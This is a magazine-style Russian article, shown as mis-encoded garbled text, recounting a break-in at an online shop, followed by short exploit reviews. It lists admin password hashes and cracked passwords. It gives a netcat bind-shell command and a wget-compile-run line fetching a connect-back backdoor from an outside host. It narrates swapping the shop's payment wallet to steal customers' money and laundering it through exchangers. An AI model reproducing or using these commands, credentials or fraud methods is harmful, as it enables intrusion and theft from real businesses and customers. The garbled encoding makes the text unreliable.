ÿ ïðåäïîëîæèë, ÷òî îñîáûõ ðåçóëüòàòîâ âñå ðàâíî íå äîáüþñü. Âçëîìàòü

Èñòîðèÿ âçëîìà ðîññèéñêîãî
èíòåðíåò-ìàãàçèíà

õýø áûëî âïîëíå ðåàëüíî, ïîñêîëüêó â ïåðâîé âåðñèè ôîðóìà ïàññâîðä õý-
øèðóåòñÿ îäèí ðàç (âî âòîðîé âåòêå âûäàííûé MD5 íóæíî áûëî ðàñøèô-
ðîâàòü óæå äâàæäû, ÷òî ïðàêòè÷åñêè íåâîçìîæíî). Ïîâòîðèâ çàïóñê
ýêñïëîéòà äëÿ ïåðâûõ 6-òè èäåíòèôèêàòîðîâ (âñå îíè áûëè àäìèíàìè), 
ÿ ñîáðàë ïàðû login:md5_password è ñîõðàíèë â îòäåëüíûé ôàéë:

[ôàéë ñ õýøàìè àäìèíîâ]

admin:0df7fbf7ce7188983d9719467a0f7e1e
magadm:20a13127068ae211171c715a2e87d465
fokus:6940e8e23ff2ecf982b3e18317691b9d
master:c0891b7ad2ad1c87b8ca19cd4c7bb792
www:2603bf50474e84a6202f60258394a99c

[ìîçãîâîé øòóðì] Òðàäèöèîííî äëÿ âçëîìà MD5-ïàðîëåé ÿ èñïîëüçóþ
ïðîãðàììó MD5Inside. Îíà ìíîãî ðàç ìåíÿ âûðó÷àëà, ïîýòîìó çàâîåâàëà
ñòàòóñ ëó÷øåãî áðóòôîðñåðà. Íî â ýòîò ðàç íèêàêèå ñëîâàðè ìåíÿ íå âûðó-
÷èëè � ïåðåáîð ïî êàæäîìó èç íèõ íå äàë ïîëîæèòåëüíîãî ðåçóëüòàòà. Çà-
ïóñêàòü MD5Inside (http://nsd.ru/soft/1/ano/md5inside.zip) â ðåæèìå ïåðåáîðà
âñåõ âàðèàíòîâ ÿ íå æåëàë � ïðîöåññ ìîã çàíÿòü äëèòåëüíîå âðåìÿ, à ïîé-
ìàòü óäà÷ó õîòåëîñü íåìåäëåííî. Íî, âñïîìíèâ ïðî ïðîìåæóòî÷íûå âàðè-
àíòû ïåðåáîðà, ÿ ðåøèë ïîïðîáîâàòü èõ â äåëå. Â îïöèÿõ áðóòôîðñåðà ÿ
íàøåë ÷åòûðå âàðèàíòà ïåðåáîðà: öèôðû, ñïåöñèìâîëû, áóêâû è çàãëàâ-
íûå áóêâû. Íà÷àë ñ öèôð, íî ïåðåáîð îñîáîãî ðåçóëüòàòà íå ïðèíåñ. Òîãäà
ÿ çàõîòåë ïîáðóòèòü öèôðû è ñïåöèàëüíûå ñèìâîëû, ìàëî íàäåÿñü íà óäà-
÷ó. ß çàïóñòèë MD5Inside, âûñòàâèë åé âûñîêèé ïðèîðèòåò è îòïðàâèëñÿ â
ãîñòè íà ÷àøå÷êó ÷àÿ. Ïðèäÿ äîìîé, ÿ óâèäåë, ÷òî ïåðåáîð çàâåðøèëñÿ, è
ïàðîëü äëÿ ïîëüçîâàòåëÿ admin âûãëÿäåë òàê: 12.1982. Âèäèìî àäìèíèñò-
ðàòîð ðåøèë óñòàíîâèòü â êà÷åñòâå ïàññâîðäà äàòó ñâîåãî ðîæäåíèÿ, òåì
ñàìûì, óïðîñòèâ ðàáîòó âçëîìùèêîâ.Þ
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1 Â ñèñòåìå áûë îòêðûò íàðóæó 21,80 è 3306 ïîðòû

2 Óäàëåííûé FingerPrint ïîêàçàë, ÷òî ñåðâàê óïðàâëÿåòñÿ îïåðàöèîíêîé
RedHat 9.0

Çàöåïèâøèñü íçà 21 ïîðò, ÿ óâèäåë ñòàíäàðòíîå ïðèãëàøåíèå ñåðâèñà Wu-
FTPD. Êàê èçâåñòíî, ñåðâèñ ýòîò ÷ðåçâû÷àéíî äûðÿâûé è êàæäûé ìåñÿö 
â íåì îáíàðóæèâàþò íå îäíó óÿçâèìîñòü. Îäíàêî âèäèìî àäìèí íèêîãäà íå
íîñèë ïèîíåðñêèé ãàëñòóê: âåðñèÿ äåìîíà áûëà íåïðîáèâàåìîé, äà è anon-
imous'à â ñèñòåìó íå ïóñêàëè. Ïî÷åìó-òî ÿ ïîäóìàë, ÷òî áàííåð ñåðâèñà ïî-
ìîæåò ìíå óçíàòü îïåðàöèîíêó. Îáðàòèâøèñü ê ãóãëó ñî ñïåöèàëüíûì çàï-
ðîñîì, ÿ ñòàë ðàçãðåáàòü ñîòíè îòâåòîâ, íåêîòîðûå èç êîòîðûõ ñîîáùèëè
ìíå, ÷òî ýòà âåðñèÿ è â ñàìîì äåëå ïîñòàâëÿåòñÿ ñ äåâÿòîé øàïêîé. Òàêèì
îáðàçîì, òèï îïåðàöèîííîé ñèñòåìû áûë ÿâíî îïðåäåëåí.
×òî êàñàåòñÿ àïà÷à, òî îí áûë ïóëåíåïðîáèâàåì. Ñòîÿë ïîñëåäíèé ðåëèç èç
âåòêè 1.3 áåçî âñÿêèõ ìîäóëåé êðîìå mod_php. Êîííåêò íà ïîðò 3306 ïîêà-
çàë, ÷òî íà ñåðâàêå çàïóùåí mySQL, íî ñâîþ âåðñèþ äåìîí íèêàê íå õîòåë
âûäàâàòü. Íå çíàþ ïî÷åìó, íî ÿ çàõîòåë ïðèêîííåêòèòñÿ ê áàçå âèíäîâûì
êëèåíòîì ïîä íåäàâíî ñáðó÷åííûì àêêàóíòîì. È íå îøèáñÿ: ñåðâàê óñïåø-
íî àâòîðèçîâàë ìåíÿ ïîä ïîëüçîâàòåëåì admin è ïàðîëåì 12.1982. Óæå èç
êëèåíòà WinMysql ìíå óäàëîñü òî÷íî îïðåäåëèòü ðåëèç ñåðâèñà è ïðîñìîò-
ðåòü âñå òàáëèöû. Ñîáñòâåííî, ÁÄ êðîìå mysql, test è mag_forum òàì íè÷å-
ãî íå áûëî, íî ñàì ôàêò, ÷òî ïàðîëü ê ñåðâèñó ïîäîøåë, íàâîäèë íà ìûñëè.
È òóò ÿ âñïîìíèë ïðî åùå îäèí çàìå÷àòåëüíûé ýêñïëîéò. Îí ïîçâîëÿë âû-
ïîëíÿòü ëþáûå êîìàíäû ñ ïðàâàìè ïîëüçîâàòåëÿ mysqld. Îäíàêî ñàì 
ÿ ýêñïëîéò íå òåñòèðîâàë, íî ìîé âèðòóàëüíûé êîðåôàí èçó÷èë êîä ñ ãîëî-
âû äî íîã, ìåíÿë ñ çàêðûòûìè ãëàçàìè øåëëêîäû ïîä ðàçëè÷íûå OS è ðå-
àëüíî óìåë ïîëó÷àòü øåëëû. ß îáðàòèëñÿ ê íåìó çà ïîìîùüþ, ÷òîáû âèäî-
èçìåíèòü ñûðåö ïîä ñèñòåìó RedHat 9.0. Âîîáùå, íóæíî áûëî çàêîäèðî-
âàòü áèáëèîòåêó libso.so.0, òàê êàê åå êîä óíèêàëåí äëÿ êàæäîé îñè. Òîâà-
ðèù ñ ðàäîñòüþ âûðó÷èë ìåíÿ, õîòÿ ñíà÷àëà êèíóë ññûëêó íà ìàíóàë, íî â

Äàëåå ìíå íóæíî áûëî îïðåäåëèòüñÿ � ÷òî äåëàòü ñ íàéäåííûì ïàðîëåì?
Çàõîäèòü ïîä íèì íà ôîðóì íå õîòåëîñü � àäìèí ìîæåò ïîãëÿäåòü ïîñëåä-
íèå ëîãè âõîäà è îáíàðóæèòü íåñàíêöèîíèðîâàííûé äîñòóï. Îñòàâàëîñü
ëèøü ïîïðîáîâàòü íàéäåííóþ äàòó â êà÷åñòâå êëþ÷åâîãî ñëîâà äëÿ äðóãèõ
ñåðâèñîâ. Ìûëî àäìèíèñòðàòîðà íàõîäèëîñü íà ñåðâåðå rambler.ru, è âðÿä
ëè â åãî ìàéëáîêñå áûëà ïîëåçíàÿ èíôîðìàöèÿ. Íî ïðîâåðèòü, ïîäîéäåò ëè
ïàðîëü, âñå ðàâíî õîòåëîñü, ïîýòîìó çàëîãèíèâøèñü íà õîñò pop3.rambler.ru
ÿ ïîïðîáîâàë àóòåíòèôèöèðîâàòüñÿ ïîä ïîëüçîâàòåëåì adminmag. Ê íåñ-
÷àñòüþ, ñåðâåð îòâåðã àâòîðèçàöèþ è ïîñëàë ìåíÿ êóäà ïîäàëüøå. Îäíàêî
óõîäèòü ìíå íå õîòåëîñü, è ÿ ñòàë äàëüøå êîïàòü ïîä àäìèíèñòðàòîðà.

[ãíèëîé MySQL] ß ïðîâåë ïîëíîå ñêàíèðîâàíèå ñèñòåìû. Äëÿ ðàáîòû ÿ
èñïîëüçîâàë èíòåëëåêòóàëüíûé ñêàíåð îò XSpider (ïðàâäà, äåìî-âåðñèþ).
ßñíîå äåëî, ÷òî çàïóñêàë ÿ ñêàíåð, ïðåäâàðèòåëüíî ñîåäèíèâøèñü ñ áåçî-
ïàñíûì VPN-ñåðâåðîì èç Åâðîïû. Ïåðâîå ñêàíèðîâàíèå áûëî íàñòîëüêî
ìåäëåííûì, ÷òî ÿ îòêëþ÷èë òåñòèðîâàíèå web-ñêðèïòîâ è ïðî÷åé äðÿíè. 
Â èòîãå äëÿ ìåíÿ íàðèñîâàëîñü äâà èíòåðåñíûõ âûâîäà:

| ××ÒÎ ÏÏÎÌÎÃËÎ ÌÌÍÅ ÏÏÐÈ ÂÂÇËÎÌÅ? || 

1 Åæåäíåâíîå ïîñåùåíèå áàãòðàêà ïðèâåëî ê òîìó, ÷òî ÿ
ñðàçó ñìåêíóë, ÷åì ìîæíî ñëîìàòü ôîðóì, óñòàíîâëåííûé íà
ñàéòå èíòåðíåò-ìàãàçèíà.
2 ß íå ïîëåíèëñÿ ïðîâåðèòü ïðàâà ó ïîëüçîâàòåëÿ admin.
Íåðåäêî àäìèíèñòðàòîðû çàáûâàþò, ÷òî ïîëíûé äîñòóï ê
ñèñòåìíûì òàáëèöàì ìîæåò ïðèâåñòè ê òÿæêèì ïîñëåäñòâèÿì.
3 Óòèëèòà, ýìóëèðóþùàÿ ïñåâäîòåðìèíàë î÷åíü ïîìîãëà ìíå
ïîäíÿòü ïðàâà äî ðóòîâñêèõ :).

Íå ñòîèò çàáûâàòü, ÷òî âñå
äåéñòâèÿ õàêåðà ïðîòèâî-
çàêîííû, ïîýòîìó äàííàÿ
ñòàòüÿ äàíà ëèøü äëÿ îçíà-
êîìëåíèÿ è îðãàíèçàöèè
ïðàâèëüíîé çàùèòû ñ òâî-
åé ñòîðîíû. Çà ïðèìåíåíèå
ìàòåðèàëà â íåçàêîííûõ
öåëÿõ, àâòîð è ðåäàêöèÿ îò-
âåòñòâåííîñòè íå íåñóò.

Íà êîìïàêò-äèñêå òû íàé-
äåøü óòèëèòó, ýìóëèðóþ-
ùóþ ïñåâäîòåðìèíàë. ×òî
êàñàåòñÿ, Cain&Abel, òî ýòó
ñîôòèíó ìû âûêëàäûâàëè
íà èþíüñêîì DVD/CD.
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Ïðåæäå ÷åì îñóùåñòâëÿòü
êàêèå-ëèáî ýëåêòðîííûå
ïîêóïêè, îáÿçàòåëüíî ïðî-
âåðü íàëè÷èå ïåðñîíàëüíî-
ãî àòòåñòàòà ó ïðîäàâöà.
Ýòî ìîæíî ñäåëàòü íà
www.webmoney.ru.
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îòâåò ïîëó÷èë ìåññàãó, ÷òî ÿ ïëîõî çíàþ àíãëèéñêèé :).
Èòàê, ïîìåíÿâ â êîäå äâå ïåðåìåííûå user è pass, ÿ çàïóñòèë ýêñïëîéò è
óâèäåë ñòðî÷êó «Now use your fav shell and ls /tmp/id -l». Ìîæíî áûëî ïîíÿòü,
÷òî ñïëîèò ïàøåò è ðåàëüíî âûïîëíÿåò êîä â ñèñòåìå. Òåïåðü ìíå íóæíî
áûëî ñôîðìèðîâàòü óäàëåííóþ êîìàíäó äëÿ çàïóñêà øåëëà. Çàêîììåíòè-
ðîâàííûé çàïðîñ '/usr/sbin/nc -l -p 8000 -e /bin/bash' âïîëíå óäîâëåòâîðÿë
ìîè ïîòðåáíîñòè, íî ÿ íå áûë óâåðåí, ñóùåñòâóåò ëè â ñèñòåìå netcat. Âïðî-
÷åì, ïî óìîë÷àíèþ íà êðàñíóþ øàïêó îí óñòàíàâëèâàåòñÿ, ïîýòîìó ÿ ðàñ-
êîììåíòèðîâàë ýòó ñòðî÷êó è çàíîâî çàïóñòèë âðåäîíîñíûé êîä. Îí ñíîâà
âûïîëíèëñÿ áåç ïðîáëåì, íî äîñòó÷àòüñÿ äî 8000 ïîðòà ÿ íå ìîã � ìåøàë
ôàéðâîë. Ïðèøëîñü èñêàòü â èíåòå êîä connback-áýêäîðà, çàëèâàòü åãî íà
øåëë è çàïóñêàòü. Âñå ýòè äåéñòâèÿ ÿ ðåàëèçîâàë â îäíîé êîìàíäå:

$cmd='wget host31337.narod.ru/cb.c -O /tmp/cb.c; gcc /tmp/cb.c -o
/tmp/cb; /tmp/cb 11.11.11.11'

Çäåñü 11.11.11.11 � àéïèøíèê ìîåãî âçëîìàííîãî øåëëà. Íà ýòîé ìàøèíå
ÿ çàïóñòèë íåòêàò íà ñëóøàë 5544 ïîðò. Ïîñëå çàïóñêà ñïëîèòà ïîÿâèëîñü
ïðèâåòñòâèå è ïîæåëàíèå óäà÷è â íåëåãêîì áîþ :). Òàêèì îáðàçîì, ÿ ñòàë
îáëàäàòåëåì øåëëà íà ñåðâàêå âèðòóàëüíîãî ìàãàçèíà.

[áîðüáà çà root-ïðàâà] Ñ ïåðâîãî âçãëÿäà ÿ ïîíÿë, ÷òî èìåþ äåëî ñ ðå-
àëüíûì âûäåëåííûì ñåðâåðîì íà êðóïíîé ïëîùàäêå îäíîãî èçâåñòíîãî õîñ-
òåðà. ×òî êàñàåòñÿ çàøèòû, òî çäåñü âñå áûëî íà óðîâíå � ÿ äàæå íå ìîã
ïîñìîòðåòü êîíòåíò ñàéòà � ñïëîøíîé permission denied :). Íî ÿ íå îò÷àè-
âàëñÿ è ïðîäîëæàë èñêàòü ëàçåéêó. Ìîè ïðàâà áûëè ðàâíû ïîëíîìî÷èÿì
ïîëüçîâàòåëÿ mysqld � èìåííî ïîä íèì áûë çàïóùåí äåìîí. Î âçëîìå ÿä-
ðà ìîæíî áûëî çàáûòü ñðàçó � êåðíåë â äåâÿòîé øëÿïå èçíà÷àëüíî íå áü-
åòñÿ íèêàêèìè ýêñïëîéòàìè. Èç ñåðâèñîâ áûëè çàïóùåíû ëèøü exim, mysqld
è httpd. ß óæå áûëî õîòåë ñëîæèòü îðóæèå è îãðàíè÷èòüñÿ òåì, ÷òî è òàê äî-
áèëñÿ ìàêñèìóìà, íî âñïîìíèë ïðî òî, ÷òî ó ìåíÿ èìåëñÿ äîñòóï ê mysqld.
Ïî÷åìó-òî ÿ âñïîìíèë ïðî òèïè÷íóþ îøèáêó àäìèíèñòðàòîðîâ: ìíîãèå àä-
ìèíû ëþáÿò ñòàâèòü îäèíàêîâûå ïàðîëè íà ðàçíûå ñåðâèñû. Â òàáëèöå
mysql.user ÿ áûñòðî íàøåë ðóòîâûé õýø è ãîðåë æåëàíèåì åãî ðàñøèôðî-
âàòü. Îäíàêî MD5Inside îòêàçàëñÿ ðàñïîçíàâàòü ôîðìàò MySQL, ïîýòîìó ÿ
äîâåðèë ñëîæíóþ ðàáîòó äðóãîìó áðóòôîðñåðó è ñíèôåðó ïî ñîâìåñòèòåëü-
ñòâó :). Åãî èìÿ � Cain&Abel (www.oxid.it/downloads/ca_setup.exe). Çàãðóçèâ
â ðàçäåë Cracker->MySQL Hashes ðóòîâûé õýø, ÿ äîáàâèë 6 óâåñèñòûõ ñëî-
âàðèêîâ. Íà òðåòüåì ñëîâàðå ïðîöåññ ïåðåáîðà çàâåðøèëñÿ � ïàðîëåì ÿâ-
ëÿëàñü ñòðîêà «vfufpby», ÷òî â ïåðåâîäå íà ðóññêèé îçíà÷àåò «ìàãàçèí».
Íî ñðàçó ïîëó÷èòü ðóòîâûå ïðàâà áûëî íåâîçìîæíî. ×òîáû çàïóñòèòü áè-
íàðíèê su, íóæíà áûëà ïîääåðæêà ïñåâäîòåðìèíàëà. Êàê òû äîãàäàëñÿ, 
ó ìåíÿ åå îòðîäÿñü íå áûëî, òàê êàê øåëë çàïóñêàëñÿ â èíòåðàêòèâíîì ðå-
æèìå. Â äàííîé ñèòóàöèè ìîæíî áûëî ëèáî ïîäáèðàòü ïàðîëü ê äðóãîìó
ñèñòåìíîìó ëîãèíó, ëèáî ïîäâÿçàòü ïîääåðæêó ïñåâäîóñòðîéñòâà. Ïåð-

âûé âàðèàíò îòïàäàë ñðàçó, ïîòîìó êàê 22 ïîðò íàãëóõî ôèëüòðîâàë
ôàéðâîë. À âîò íàñ÷åò âòîðîãî âàðèàíòà ó ìåíÿ áûëà ðåàëüíàÿ èäåÿ. Êîã-
äà-òî äàâíî ñî ìíîé ïîäåëèëèñü èíòåðåñíîé óòèëèòîé ïîä íàçâàíèåì ttyX.
Ýòà ïðîãðàììà ñîñòîÿëà èç ñåðâåðà è êëèåíòà. Ñïåðâà çàïóñêàëñÿ ñåð-
âåð, à çàòåì êëèåíò ïîäêëþ÷àëñÿ ê íåìó. Â èòîãå ìîæíî áûëî ïîëó÷èòü
øåëë-äîñòóï ñ òàêèìè æå ïðàâàìè, íî óæå ñ ïîääåðæêîé ïñåâäîòåðìèíà-
ëà /dev/ttyp0. ß çàêà÷àë àðõèâ íà ñåðâåð, ðàñïàêîâàë åãî â êàòàëîã
/tmp/ttyX è çàïóñòèë áèíàðíèê ./Zatron � ñåðâåð ïñåâäîòåðìèíàëüíîãî äå-
ìîíà. Çàòåì áûë àêòèâèðîâàí ôàéë ./Jerky ñ ïàðàìåòðîì 127.0.0.1. È óæå
÷åðåç ñåêóíäó ÿ íàñëàæäàëñÿ øåëëîì ñ ôåéêîâûì /dev/ttyp0. Ñðàçó ïîñ-
ëå ýòîãî áûëî çàïóùåíî ïðèëîæåíèå /bin/su, êîòîðîå íå çàðóãàëîñü íà îò-
ñóòñòâèå òåðìèíàëà, ïðàâäà è íå âêëþ÷èëî «òåíåâîé» ðåæèì ïðè çàïðî-
ñå ïàðîëÿ. Ïîñëåäíåé óëûáêîé ôîðòóíû äëÿ ìåíÿ áûë ôàêò ñîâïàäåíèÿ
ñèñòåìíîãî ðóòîâîãî ïàðîëÿ ñ mysql'íûì.

[íåáîëüøîé äåôåéñ] Ïîä ðóòîì ÿ ìîã âûïîëíÿòü ëþáûå äåéñòâèÿ, íî
ïî÷åìó-òî çàõîòåëîñü òîëüêî îäíîãî � äåíåã :). ß çàøåë â êàòàëîã ñ www-
äîêóìåíòàìè è ñêðèïòàìè è íà÷àë êîâûðÿòüñÿ â äâèæêå èíòåðíåò-ìàãàçè-
íà. Ñïåðâà ÿ õîòåë îñòàâèòü áýêäîð â êîäå, à çàòåì ó ìåíÿ âîçíèêëî æåëà-
íèå îòïèñàòü àäìèíèñòðàòîðó îá îøèáêàõ è íå ëåçòü íà ðîæîí.  Íî îñòàíî-
âèëñÿ ÿ íà òðåòüåì âàðèàíòå � ìíå ïðèøëà â ãîëîâó ìûñëü çàìåíèòü WMZ,
óêàçàííûé íà ñòðàíèöå ñ ðåêâèçèòàìè íà äðóãîé êîøåëåê. Àäìèíû çàìåòÿò
íå ñðàçó, à äåíåæêè óòåêóò ñîâñåì â äðóãîì íàïðàâëåíèè. Íà ýòîì ÿ è ïî-
ðåøèë: áûñòðî çàðåãèñòðèðîâàë ñåáå ëåâûé êîøåëåê, êîòîðûé è óêàçàë â
êîíòàêòàõ íà ñàéòå.
Êàê îêàçàëîñü íå ÿ îäèí ëþáëþ ðàñïëà÷èâàòüñÿ ÷åðåç WebMoney. Ñïóñòÿ
ïàðó äíåé, êî ìíå íà ñ÷åò óïàëà ñóììà â 200 äîëëàðîâ, à åùå ÷åðåç äåíü ÿ
ïîëó÷èë äîïîëíèòåëüíóþ ñîòíþ. Ïîäóìàâ, ÷òî òàêîå áåçîáðàçèå îáÿçàòåëü-
íî ïðåñå÷åòñÿ, ÿ íà÷àë ñîîáðàæàòü î âûâîäå ñðåäñòâ. È ìíå â ãîëîâó ïðèø-
ëà çàìå÷àòåëüíàÿ èäåÿ � ñïåðâà ÿ ïåðåñëàë ñðåäñòâà â îáìåííèê WMZ <>
E-Gold, à çàòåì ïåðåíàïðàâèë äåíüãè íà äðóãîé Egold-èäåíòèôèêàòîð. Ïîñ-
ëå ýòîãî óæå ÷åðåç äðóãîé îáìåííèê ÿ âûâåë äåíåæêó íà ñâîé ðîäíîé êî-
øåëåê. Ðàáîòà áûëà ïðèÿòíîé è ÷èñòîé :).

[Òÿæêèå ïîñëåäñòâèÿ] Ïî âèäèìîìó, àäìèíèñòðàòîðó ïðèøëîñü íå
ñëàäêî, òàê êàê áåäíûå êëèåíòû íà÷àëè ñïðàøèâàòü, ïî÷åìó èõ äåíüãè óø-
ëè â íåèçâåñòíîì íàïðàâëåíèè. Íà ñëåäóþùèé äåíü ïîñëå î÷åðåäíîãî ìà-
òåðèàëüíîãî ïîïîëíåíèÿ ÿ îáíàðóæèë äâå âåùè: ôîðóì íà ñàéòå áûë ïîë-
íîñòüþ óäàëåí è âñå ïàðîëè áûëè íåðàáî÷èìè. Ñïóñòÿ ñóòêè ìîé êîøåëåê
çàáëîêèðîâàëè. Ïðè÷åì çàëî÷èëè ÷àñòè÷íî: âõîä îñóùåñòâëÿëñÿ áåç ïðîá-
ëåì, íî íèêàêèå îïåðàöèè ïî ââîäó/âûâîäó ñðåäñòâ íå ïîääåðæèâàëèñü.
Âèäèìî àäìèíèñòðàöèÿ WebMoney ðåøèëà ïîéìàòü ìåíÿ ñ ïîìîùüþ îòñ-
ëåæèâàíèÿ IP-àäðåñà. Íî ÿ íå çàáûâàë î áåçîïàñíîñòè è âûõîäèë íà èõ ðå-
ñóðñ òîëüêî ÷åðåç VPN+SOCKS. Ñîãëàñèñü, ìàëî ïðèÿòíîãî, êîãäà î òâîèõ
ïðîäåëêàõ çàìå÷àåò êòî-òî äðóãîé.
Òåïåðü ìîé êàïèòàë ïðåóìíîæèëñÿ â íåñêîëüêî ðàç. Íî, íåñìîòðÿ íà ýòî, 
ÿ äî ñèõ ïîð èùó Èíòåðíåò-ìàãàçèí, òîëüêî óæå íå äëÿ âçëîìà, à äëÿ ïîêóï-
êè ÷åãî-ëèáî ñòîÿùåãî. Òîëüêî âîò çàòàðèâàòüñÿ ÿ áóäó òîëüêî íà ÿðìàðêå,
ïîääåðæèâàþùåé îíëàéíîâûé ïðîöåññèíã � áóäåò íàäåæíåå :)

ñàéò ïîëîìàííîãî ìàãàçèíà, ñ êîòîðîãî âñå íà÷àëîñü

îäèí èç ïàðîëåé ïîääàëñÿ õàêåðó!

ðóò - ïðÿìî òóò :)

óäà÷íûé âçëîì IPB

åùå îäèí ïàðîëü



MS COLOR MANAGEMENT 
BUFFER OVERFLOW
[îïèñàíèå] Çà ýòîò ëåòíèé ìåñÿö âûøëî íå òàê
óæ è ìíîãî ãðîìêèõ ýêñïëîéòîâ, îäíàêî íåêîòîðûå
áàãîèñêàòåëè ñóìåëè íàäåëàòü øóìà. Òàê, íàïðè-
ìåð, 21 èþëÿ íåêèé õàêåð îòûñêàë óÿçâèìîñòü â
ìîäóëå Internet Explorer. Áàæíûé ïëàãèí îòâå÷àåò
çà ïîäãðóçêó êàðòèíîê íà ñòðàíèöàõ îñëèêà. Àâòîð
ýêñïëîéòà óòâåðæäàåò, ÷òî áàã ñîäåðæèòñÿ â ôóíê-
öèè GetColorProfileElement. Îøèáêà ïîçâîëÿåò ïå-
ðåçàïèñàòü ñòåê îïðåäåëåííûì êîäîì. Â ñïëîèòå
ñîäåðæèòñÿ øåëë-êîä äëÿ çàïóñêà áëîêíîòà.
Íî íå âñå òàê õîðîøî, êàê íàïèñàíî â áàãòðàêå.
Ëè÷íî ó ìåíÿ, íå ïîëó÷èëîñü çàïóñòèòü íîóòïàä,
à ìàêñèìóì, ÷åãî ÿ äîáèëñÿ � àâàðèéíîãî çàâåð-
øåíèÿ ðàáîòû áðàóçåðà. Èñïûòàíèÿ ïðîâîäè-
ëèñü íà ÷èñòîé WinXP+SP2. Ïîïðîáóé, áûòü ìî-
æåò ïîëó÷èòñÿ ó òåáÿ :).

[çàùèòà] Çàùèòèòüñÿ îò íàïàñòè ìîæíî ñ ïî-
ìîùüþ î÷åðåäíîé çàïëàòêè îò Microsoft. Ïîñëåä-
íþþ òû ñìîæåøü íàéòè íà îôèöèàëüíîì ñàéòå M$.

[cñûëêè] Âðåäîíîñíûé êîä íàõîäèòñÿ ïî àäðåñó
http://securitylab.ru/_Exploits/2005/07/icc_ex.c.txt.

[çëîêëþ÷åíèå] Åñëè äàæå â êîäå è ñîäåðæèò-
ñÿ çàùèòà îò äóðàêà, êîòîðóþ òû íå â ñèëàõ îá-
íàðóæèòü, òî ìîæíî ïðèìåíèòü ñïëîèò â êà÷åñò-
âå ñðåäñòâà äëÿ DoS-àòàê. Ïðîñòî ïîïðîñè íåä-
ðóãà çàöåíèòü ôîòêó îáíàæåííîé êðàñîòêè :).

[greets] Ýêñïëîéò áûë íàïèñàí õàêåðîì Snooq
(www.redpuffer.net/snooq/web). Òàêæå îáúÿâëÿåòñÿ
áëàãîäàðíîñòü Sk, Eugene è Sugi çà ñîàâòîðñòâî.

INVISION POWER BOARD 1.3-2.X EXPLOIT
[îïèñàíèå] Êàê òû ïîìíèøü, íå òàê äàâíî ÿ
îïèñûâàë îòëè÷íûé ýêñïëîéò äëÿ IPB, ïîçâîëÿþ-
ùèé ïîëó÷àòü ïðèâèëåãèè àäìèíèñòðàòîðà. Àâòî-
ðû áîðäû äîâîëüíî áûñòðî çàëàòàëè áàã, íî óø-
ëûå õàêåðû íàøëè åùå îäíó SQL-èíúåêöèþ â
òîì æå ñàìîì ñöåíàðèè login.php. Áîëåå òîãî,
êîä, êàê è â ïðîøëûé ðàç, ðåàëèçîâàí íà ÿçûêå
Perl. Ñóòü áðåøè ïîõîæà íà ïðåäûäóùóþ, ïîýòî-
ìó çà äåòàëÿìè áàãà îòïðàâëÿþ òåáÿ â ïðîøëûé
îáçîð ýêñïëîéòîâ :). Òðàäèöèîííî â êîäå êðîåòñÿ
çàùèòà îò äåòåé, íî ñêàæó ïî ñåêðåòó, íàéòè åå
ìîæåò äàæå ÷åëîâåê íå îñîáî ðàçáèðàþùèéñÿ â
Perl.
Ñïëîèò òðåáóåò íàëè÷èÿ ìîäóëÿ LWP::UserAgent,
òàê ÷òî ïðåæäå ÷åì åãî òåñòèðîâàòü, óáåäèñü â
ïðàâèëüíîé ðàáîòå ïëàãèíà. Äëÿ ïðàâèëüíîãî çà-
ïóñêà ýêñïëîéòà, åìó íåîáõîäèìî ïåðåäàòü ðÿä
ïàðàìåòðîâ: õîñò ñåðâåðà (áåç ïðåôèêñà http://),
ïóòü ê ôîðóìó, âåðñèþ áîðäû (0�1.3, 1�2.x) è
îïöèîíàëüíî èäåíòèôèêàòîð ïîëüçîâàòåëÿ, ïðà-
âà êîòîðîãî íàäî ïîëó÷èòü. Óæå ÷åðåç íåñêîëüêî
ñåêóíä ñïëîèò âûâåäåò õýø íóæíîãî ïàðîëÿ.

[çàùèòà] Ïîêà ÷òî çàùèòû îò áàãà íå ñóùåñòâó-
åò, íî àâòîð ñïëîèòà ïðåäëîæèë ìåòîä ñïàñåíèÿ
îò óÿçâèìîñòè. Äëÿ ýòîãî çàìåíè ñëåäóþùèå
ñòðîêè â êîäå ñêðèïòà login.php:

$mid = intval($std->my_get cookie(member_id));
$pid = $std->my_get cookie(pass_hash); íà
$mid = mysql_escape_string(intval($std->my_get
cookie(member _id))); 
$pid = mysql_escape_string($std->my_get cook-
ie(pass_hash));

Äàííàÿ ìîäèôèêàöèÿ ìîæåò áûòü ïðîèçâåäåíà
íà âñåõ âåðñèÿõ ôîðóìà.

[cñûëêè] Çàáèðàé ýêñïëîéò ïî ññûëêå http://secu-
ritylab.ru/_Exploits/2005/07/ipb.pltxt. Ñóùåñòâóåò òàê-
æå êëîí ñïëîèòà, êîòîðûé ñîâñåì íå íóæíî ïàò÷èòü
(http://skides.net.ru/exploits/ipb_skides.txt).

[çëîêëþ÷åíèå] Äàííûé ðåëèç ýêñïëîéòà ïîêà-
çàë, ÷òî ïðîãðàììèñòû ôîðóìà íå ñïîñîáíû ïðà-
âèëüíî çàêðûâàòü SQL-óÿçâèìîñòè, ïîýòîìó áîðü-
áà ïðîãðàììèñòîâ ñ õàêåðàìè áóäåò ïðîäîëæàòü-
ñÿ åùå äîëãîå âðåìÿ.

[greets] Êàê è â ïðîøëûé ðàç ýêñïëîéò íàïèñàëè
ðåáÿòà èç ãðóïïû RHC-security. Ãëàâíûé àâòîð âûñ-

òóïàåò ïîä íèêîì RemusoMega (www.h4cky0u.org).
PHPBB <= 2.0.15 REMOTE SQL DATABASE
CREDENTIALS DISCLOSURE EXPLOIT
[îïèñàíèå] Êàê è ïðîãíîçèðîâàëîñü â î÷åðåä-
íîé ðàç ïîä õàêåðñêèé ïðèöåë ïîïàë ôîðóì
phpBB. Áàãîèñêàòåëè ñíîâà íàøëè áðåøü â èñõîä-
íîì êîäå, ïîçâîëÿþùóþ âûçâàòü SQL-èíúåêöèþ.
Èòîãîì ýòîé èíúåêöèè ñòàíîâèòñÿ ïîêàç êîíôè-
äåíöèàëüíûõ ïåðåìåííûõ, à èìåííî, áàçû è òàá-
ëèöû äàííûõ, èìÿ ïîëüçîâàòåëÿ è ïàðîëü äîñòóïà
ê MySQL. Â îáùåì � âñå, ÷òî íóæíî õàêåðó :).
Íî è ýòî åùå íå âñå. Êîðíè îøèáêè óõîäÿò âî âðå-
ìåíà íàøóìåâøåãî áàãà ñ ïåðåìåííîé highlight è
ñïåöèàëüíûì ñèìâîëîì. Åñëè òû ÷èòàåøü ìîé
îáçîð, òî íàâåðíÿêà ïîíÿë, î êàêîì ýêñïëîéòå
